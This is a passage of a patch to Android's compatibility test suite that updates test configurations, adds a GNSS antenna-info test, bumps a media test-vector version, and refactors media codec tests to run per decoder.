+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <!-- This MTS test module requires wifi, ensure wifi is on -->
+        <option name="run-command" value="settings put global wifi_on 1" />
+        <option name="run-command" value="svc wifi enable" />
+        <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
+        <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="MtsLibcoreOkHttpTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.okhttp" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="15m"/>
+        <!-- 20x default timeout of 600sec -->
+        <option name="shell-timeout" value="12000000"/>
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
+
+    <!-- When this test is run in a Mainline context (e.g. with `mts-tradefed`), only enable it if
+         one of the Mainline modules below is present on the device used for testing. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <!-- ART Mainline Module (internal version). -->
+        <option name="mainline-module-package-name" value="com.google.android.art" />
+        <!-- ART Mainline Module (external (AOSP) version). -->
+        <option name="mainline-module-package-name" value="com.android.art" />
+    </object>
+</configuration>
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
index 3aba80f..9f31747 100644
--- a/tests/libcore/wycheproof-bc/Android.bp
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -43,5 +43,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts-art",
     ],
 }
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index c962faa..b0471d0 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -43,4 +43,13 @@
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
     </object>
+
+    <!-- When this test is run in a Mainline context (e.g. with `mts-tradefed`), only enable it if
+         one of the Mainline modules below is present on the device used for testing. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <!-- ART Mainline Module (internal version). -->
+        <option name="mainline-module-package-name" value="com.google.android.art" />
+        <!-- ART Mainline Module (external (AOSP) version). -->
+        <option name="mainline-module-package-name" value="com.android.art" />
+    </object>
 </configuration>
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 102d301..dcaee4f 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.fine;
 
 import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
 import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
 import static android.location.LocationManager.FUSED_PROVIDER;
@@ -40,6 +41,7 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
@@ -49,6 +51,7 @@
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.location.Criteria;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
@@ -662,6 +665,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
+        // battery saver is unsupported on auto
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
 
@@ -719,6 +725,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
+        // battery saver is unsupported on auto
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
 
@@ -757,6 +766,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
+        // battery saver is unsupported on auto
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
 
@@ -796,11 +808,8 @@
     @Test
     public void testRequestLocationUpdates_LocationSettingsIgnored() throws Exception {
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
-             ScreenResetter ignored1 = new ScreenResetter();
              DeviceConfigStateHelper locationDeviceConfigStateHelper =
-                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_LOCATION);
-             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
-                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_LOCATION)) {
 
             locationDeviceConfigStateHelper.set(IGNORE_SETTINGS_ALLOWLIST,
                     mContext.getPackageName());
@@ -822,12 +831,6 @@
             // turn off provider
             mManager.setTestProviderEnabled(TEST_PROVIDER, false);
 
-            // enable battery saver throttling
-            batterySaverDeviceConfigStateHelper.set("location_mode", "4");
-            BatteryUtils.runDumpsysBatteryUnplug();
-            BatteryUtils.enableBatterySaver(true);
-            ScreenUtils.setScreenOn(false);
-
             // test that all restrictions are bypassed
             Location loc = createLocation(TEST_PROVIDER, mRandom);
             mManager.setTestProviderLocation(TEST_PROVIDER, loc);
@@ -835,9 +838,6 @@
             loc = createLocation(TEST_PROVIDER, mRandom);
             mManager.setTestProviderLocation(TEST_PROVIDER, loc);
             assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isEqualTo(loc);
-        } finally {
-            BatteryUtils.enableBatterySaver(false);
-            BatteryUtils.runDumpsysBatteryReset();
         }
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
new file mode 100644
index 0000000..2fe0ccf
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
@@ -0,0 +1,95 @@
+package android.location.cts.gnss;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.location.GnssAntennaInfo;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.os.Looper;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+
+/** Tests {@link GnssAntennaInfo} values. */
+@RunWith(JUnit4.class)
+public class GnssAntennaInfoTest {
+
+    private static final String TAG = "GnssAntInfoValuesTest";
+    private static final int STATUS_TO_COLLECT_COUNT = 20;
+    private static final int HZ_PER_MHZ = (int) 1e6;
+    private static final double CARRIER_FREQ_TOLERANCE_HZ = 10 * 1e6;
+
+    private TestLocationManager mTestLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+        mTestLocationManager = new TestLocationManager(context);
+    }
+
+    /**
+     * Tests that the carrier frequency reported from {@link GnssAntennaInfo} can be found in
+     * GnssStatus.
+     */
+    @Test
+    public void testGnssAntennaInfoValues() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        assumeTrue(TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG));
+
+        // Checks if ANTENNA_INFO capability is supported, skips the test if no
+        assumeTrue(
+                mTestLocationManager.getLocationManager().getGnssCapabilities().hasAntennaInfo());
+
+        // Registers GnssStatus Listener
+        TestGnssStatusCallback testGnssStatusCallback =
+                new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+        checkGnssChange(testGnssStatusCallback);
+
+        float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
+        List<GnssAntennaInfo> antennaInfos =
+                mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+
+        assertThat(antennaInfos).isNotNull();
+        for (GnssAntennaInfo antennaInfo : antennaInfos) {
+            double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
+            assertWithMessage(
+                    "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
+                    carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
+                    antennaInfoFreqHz);
+        }
+    }
+
+    private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
+            throws InterruptedException {
+        mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
+
+        LocationListener listener = location -> {};
+        mTestLocationManager.getLocationManager().requestLocationUpdates(
+                LocationManager.GPS_PROVIDER, /* minTimeMs= */0, /* minDistanceM= */ 0, listener,
+                Looper.getMainLooper());
+
+        boolean success = testGnssStatusCallback.awaitStart();
+        success = success ? testGnssStatusCallback.awaitStatus() : false;
+        success = success ? testGnssStatusCallback.awaitTtff() : false;
+        mTestLocationManager.getLocationManager().removeUpdates(listener);
+        success = success ? testGnssStatusCallback.awaitStop() : false;
+        mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
+
+        assertWithMessage(
+                "Time elapsed without getting the right status changes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.").that(success).isTrue();
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
index bfe3ac4..8c68748 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssStatusCallback.java
@@ -42,6 +42,8 @@
     // Store list of Satellites including Gnss Band, constellation & SvId
     private Set<String> mGnssUsedSvStringIds;
 
+    private final Set<Float> mCarrierFrequencies;
+
     public TestGnssStatusCallback(String tag, int gpsStatusCountToCollect) {
         this.mTag = tag;
         mLatchStart = new CountDownLatch(1);
@@ -49,6 +51,7 @@
         mLatchTtff = new CountDownLatch(1);
         mLatchStop = new CountDownLatch(1);
         mGnssUsedSvStringIds = new HashSet<>();
+        mCarrierFrequencies = new HashSet<>();
     }
 
     @Override
@@ -74,6 +77,7 @@
         Log.i(mTag, "Gnss Status Listener Received Status Update");
         mGnssStatus = status;
         for (int i = 0; i < status.getSatelliteCount(); i++) {
+            mCarrierFrequencies.add(status.getCarrierFrequencyHz(i));
             if (!status.usedInFix(i)) {
                 continue;
             }
@@ -100,6 +104,20 @@
     }
 
     /**
+     * Returns the list of carrier frequencies of the received GnssStatus.
+     *
+     * @return mCarrierFrequencies - a set of carrier frequencies
+     */
+    public float[] getCarrierFrequencies() {
+        float[] result = new float[mCarrierFrequencies.size()];
+        int i = 0;
+        for (Float freq : mCarrierFrequencies) {
+            result[i++] = freq;
+        }
+        return result;
+    }
+
+    /**
      * Get GNSS Status.
      *
      * @return mGnssStatus GNSS Status
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 061a609..1ce5be4 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-1.12" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-1.13" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 75dfad3..ad4a006 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.12.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.13.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index fb10920..695ac32 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.12.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.13.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 The test suite looks to cover sdk/ndk api in normal and error scenarios. Error scenarios are separated from regular usage and are placed under class *UnitTest (MuxerUnitTest, ExtractorUnitTest, ...).
 
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 3bfd4b3..c89ea8f 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-1.12
+resLabel=CtsMediaV2TestCases-1.13
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/jni/NativeMuxerTest.cpp b/tests/media/jni/NativeMuxerTest.cpp
index 0d4f392..28e575b 100644
--- a/tests/media/jni/NativeMuxerTest.cpp
+++ b/tests/media/jni/NativeMuxerTest.cpp
@@ -35,8 +35,8 @@
 
 #include "NativeMediaCommon.h"
 
-// TODO: replace __ANDROID_API_FUTURE__with 31 when it's official
-#define __TRANSCODING_MIN_API__ __ANDROID_API_FUTURE__
+// Transcoding arrived in Android 12/S, which is api 31.
+#define __TRANSCODING_MIN_API__ 31
 
 /**
  * MuxerNativeTestHelper breaks a media file to elements that a muxer can use to rebuild its clone.
diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
index f95fa54..e803863 100644
--- a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
+++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
@@ -24,6 +24,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
 
+import org.junit.Assume;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -41,15 +42,13 @@
 
 @RunWith(Parameterized.class)
 public class AdaptivePlaybackTest extends CodecDecoderTestBase {
-    private final String mMime;
     private final String[] mSrcFiles;
     private final int mSupport;
 
     private long mMaxPts = 0;
 
-    public AdaptivePlaybackTest(String mime, String[] srcFiles, int support) {
-        super(mime, null);
-        mMime = mime;
+    public AdaptivePlaybackTest(String decoder, String mime, String[] srcFiles, int support) {
+        super(decoder, mime, null);
         mSrcFiles = srcFiles;
         mSupport = support;
     }
@@ -58,7 +57,7 @@
     public ActivityTestRule<CodecTestActivity> mActivityRule =
             new ActivityTestRule<>(CodecTestActivity.class);
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = false;
@@ -171,30 +170,33 @@
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptivePlayback() throws IOException, InterruptedException {
-        CodecTestActivity activity = mActivityRule.getActivity();
-        setUpSurface(activity);
+        Assume.assumeTrue(isFeatureSupported(mCodecName, mMime,
+                MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback));
         ArrayList<MediaFormat> formats = new ArrayList<>();
-        if (mSupport != CODEC_ALL) {
-            formats = new ArrayList<>();
-            for (String file : mSrcFiles) {
-                formats.add(setUpSource(file));
-                mExtractor.release();
-            }
+        for (String file : mSrcFiles) {
+            formats.add(setUpSource(file));
+            mExtractor.release();
         }
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, formats,
-                new String[]{MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback}, false);
-        if (listOfDecoders.isEmpty()) {
-            tearDownSurface();
-            if (mSupport == CODEC_OPTIONAL) return;
-            else fail("no suitable codecs found for mime: " + mMime);
+        if (!areFormatsSupported(mCodecName, mMime, formats)) {
+            if (mSupport == CODEC_ALL) {
+                fail("format(s) not supported by component: " + mCodecName + " for mime : " +
+                        mMime);
+            }
+            if (mSupport != CODEC_OPTIONAL && selectCodecs(mMime, formats,
+                    new String[]{MediaCodecInfo.CodecCapabilities.FEATURE_AdaptivePlayback}, false)
+                    .isEmpty()) {
+                fail("format(s) not supported by any component for mime : " + mMime);
+            }
+            return;
         }
         formats.clear();
+        CodecTestActivity activity = mActivityRule.getActivity();
+        setUpSurface(activity);
         int totalSize = 0;
         for (String srcFile : mSrcFiles) {
             File file = new File(mInpPrefix + srcFile);
             totalSize += (int) file.length();
         }
-        totalSize <<= 1;
         long ptsOffset = 0;
         int buffOffset = 0;
         ArrayList<MediaCodec.BufferInfo> list = new ArrayList<>();
@@ -205,21 +207,18 @@
             ptsOffset = mMaxPts + 1000000L;
             buffOffset = (list.get(list.size() - 1).offset) + (list.get(list.size() - 1).size);
         }
-        boolean[] boolStates = {false, true};
         mOutputBuff = new OutputManager();
-        for (String decoder : listOfDecoders) {
-            mCodec = MediaCodec.createByCodecName(decoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             MediaFormat format = formats.get(0);
             activity.setScreenParams(getWidth(format), getHeight(format), true);
-            for (boolean isAsync : boolStates) {
-                mOutputBuff.reset();
-                configureCodec(format, isAsync, false, false);
-                mCodec.start();
-                doWork(buffer, list);
-                queueEOS();
-                waitForAllOutputs();
-                mCodec.reset();
-            }
+            mOutputBuff.reset();
+            configureCodec(format, true, false, false);
+            mCodec.start();
+            doWork(buffer, list);
+            queueEOS();
+            waitForAllOutputs();
+            mCodec.reset();
         }
         tearDownSurface();
     }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java
index f07dbfd..59b469d 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderPauseTest.java
@@ -45,12 +45,12 @@
     private final int NUM_FRAMES = 8;
     private final int mSupport;
 
-    public CodecDecoderPauseTest(String mime, String srcFile, int support) {
-        super(mime, srcFile);
+    public CodecDecoderPauseTest(String decoder, String mime, String srcFile, int support) {
+        super(decoder, mime, srcFile);
         mSupport = support;
     }
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = true;
@@ -59,7 +59,7 @@
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 {MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_2ch_48kHz_he_aac.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_cif_avc_delay16.mp4", CODEC_ALL},
-                {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_cif_768kbps_30fps_h263.mp4", CODEC_ALL},
+                {MediaFormat.MIMETYPE_VIDEO_H263, "bbb_176x144_128kbps_15fps_h263.3gp", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_cif_hevc_delay15.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_640x360_512kbps_30fps_mpeg2_2b.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_176x144_192kbps_15fps_mpeg4.mp4", CODEC_ALL},
@@ -75,27 +75,29 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testPause() throws IOException, InterruptedException {
-        ArrayList<MediaFormat> formats = null;
-        if (mSupport != CODEC_ALL) {
-            formats = new ArrayList<>();
-            formats.add(setUpSource(mTestFile));
-            mExtractor.release();
-        }
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, formats, null, false);
-        if (listOfDecoders.isEmpty()) {
-            if (mSupport == CODEC_OPTIONAL) return;
-            else fail("no suitable codecs found for mime: " + mMime);
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(setUpSource(mTestFile));
+        mExtractor.release();
+        if (!areFormatsSupported(mCodecName, mMime, formats)) {
+            if (mSupport == CODEC_ALL) {
+                fail("format(s) not supported by component: " + mCodecName + " for mime : " +
+                        mMime);
+            }
+            if (mSupport != CODEC_OPTIONAL && selectCodecs(mMime, formats, null, false).isEmpty()) {
+                fail("format(s) not supported by any component for mime : " + mMime);
+            }
+            return;
         }
         final boolean isAsync = true;
         MediaFormat format = setUpSource(mTestFile);
-        for (String decoder : listOfDecoders) {
-            mCodec = MediaCodec.createByCodecName(decoder);
+        {
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             int loopCounter = 0;
             boolean[] boolStates = {true, false};
             OutputManager ref = new OutputManager();
             OutputManager test = new OutputManager();
             for (boolean enablePause : boolStates) {
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 configureCodec(format, isAsync, false, false);
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index 7e47493..00f9131 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -33,13 +33,11 @@
 import org.junit.runners.Parameterized;
 
 import java.io.IOException;
-import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
 @RunWith(Parameterized.class)
 public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
@@ -47,8 +45,9 @@
 
     private final String mReconfigFile;
 
-    public CodecDecoderSurfaceTest(String mime, String testFile, String reconfigFile) {
-        super(mime, testFile);
+    public CodecDecoderSurfaceTest(String decoder, String mime, String testFile,
+            String reconfigFile) {
+        super(decoder, mime, testFile);
         mReconfigFile = reconfigFile;
     }
 
@@ -90,7 +89,7 @@
     public ActivityTestRule<CodecTestActivity> mActivityRule =
             new ActivityTestRule<>(CodecTestActivity.class);
 
-    @Parameterized.Parameters(name = "{index}({0})")
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = false;
         final boolean needAudio = false;
@@ -141,10 +140,6 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeToSurface() throws IOException, InterruptedException {
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         boolean[] boolStates = {true, false};
         OutputManager ref;
         OutputManager test = new OutputManager();
@@ -152,8 +147,8 @@
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         CodecTestActivity activity = mActivityRule.getActivity();
         setUpSurface(activity);
-        for (String decoder : listOfDecoders) {
-            decodeAndSavePts(mTestFile, decoder, pts, mode, Integer.MAX_VALUE);
+        {
+            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             ref = mOutputBuff;
             // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
             // produce multiple progressive frames?) For now, do not verify timestamps.
@@ -162,11 +157,11 @@
                         ref.isOutPtsListIdenticalToInpPtsList(false));
             }
             MediaFormat format = setUpSource(mTestFile);
-            mCodec = MediaCodec.createByCodecName(decoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             activity.setScreenParams(getWidth(format), getHeight(format), true);
             for (boolean isAsync : boolStates) {
-                String log = String.format("codec: %s, file: %s, mode: %s:: ", decoder, mTestFile,
-                        (isAsync ? "async" : "sync"));
+                String log = String.format("codec: %s, file: %s, mode: %s:: ", mCodecName,
+                        mTestFile, (isAsync ? "async" : "sync"));
                 mOutputBuff = test;
                 mOutputBuff.reset();
                 mExtractor.seekTo(pts, mode);
@@ -205,10 +200,6 @@
     public void testFlush() throws IOException, InterruptedException {
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         mCsdBuffers.clear();
         for (int i = 0; ; i++) {
             String csdKey = "csd-" + i;
@@ -222,8 +213,8 @@
         OutputManager test = new OutputManager();
         CodecTestActivity activity = mActivityRule.getActivity();
         setUpSurface(activity);
-        for (String decoder : listOfDecoders) {
-            decodeAndSavePts(mTestFile, decoder, pts, mode, Integer.MAX_VALUE);
+        {
+            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
             // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
             // produce multiple progressive frames?) For now, do not verify timestamps.
@@ -233,10 +224,10 @@
             }
             mOutputBuff = test;
             setUpSource(mTestFile);
-            mCodec = MediaCodec.createByCodecName(decoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             activity.setScreenParams(getWidth(format), getHeight(format), false);
             for (boolean isAsync : boolStates) {
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 mExtractor.seekTo(0, mode);
                 configureCodec(format, isAsync, true, false);
@@ -306,35 +297,33 @@
         mExtractor.release();
         MediaFormat newFormat = setUpSource(mReconfigFile);
         mExtractor.release();
-        ArrayList<String> listOfDecoders = selectCodecs(mMime, null, null, false);
-        if (listOfDecoders.isEmpty()) {
-            fail("no suitable codecs found for mime: " + mMime);
-        }
         final long pts = 500000;
         final int mode = MediaExtractor.SEEK_TO_CLOSEST_SYNC;
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
         CodecTestActivity activity = mActivityRule.getActivity();
         setUpSurface(activity);
-        for (String decoder : listOfDecoders) {
-            decodeAndSavePts(mTestFile, decoder, pts, mode, Integer.MAX_VALUE);
+        {
+            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             OutputManager ref = mOutputBuff;
-            decodeAndSavePts(mReconfigFile, decoder, pts, mode, Integer.MAX_VALUE);
+            if (!mIsInterlaced) {
+                assertTrue("input pts list and reference pts list are not identical",
+                        ref.isOutPtsListIdenticalToInpPtsList(false));
+            }
+            decodeAndSavePts(mReconfigFile, mCodecName, pts, mode, Integer.MAX_VALUE);
             OutputManager configRef = mOutputBuff;
             // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
             // produce multiple progressive frames?) For now, do not verify timestamps.
             if (!mIsInterlaced) {
-                assertTrue("input pts list and reference pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
                 assertTrue("input pts list and reconfig ref output pts list are not identical",
                         configRef.isOutPtsListIdenticalToInpPtsList(false));
             }
             mOutputBuff = test;
-            mCodec = MediaCodec.createByCodecName(decoder);
+            mCodec = MediaCodec.createByCodecName(mCodecName);
             activity.setScreenParams(getWidth(format), getHeight(format), false);
             for (boolean isAsync : boolStates) {
                 setUpSource(mTestFile);
-                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                String log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mTestFile, (isAsync ? "async" : "sync"));
                 mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
                 configureCodec(format, isAsync, true, false);
@@ -383,7 +372,7 @@
 
                 /* test reconfigure codec for new file */
                 setUpSource(mReconfigFile);
-                log = String.format("decoder: %s, input file: %s, mode: %s:: ", decoder,
+                log = String.format("decoder: %s, input file: %s, mode: %s:: ", mCodecName,
                         mReconfigFile, (isAsync ? "async" : "sync"));
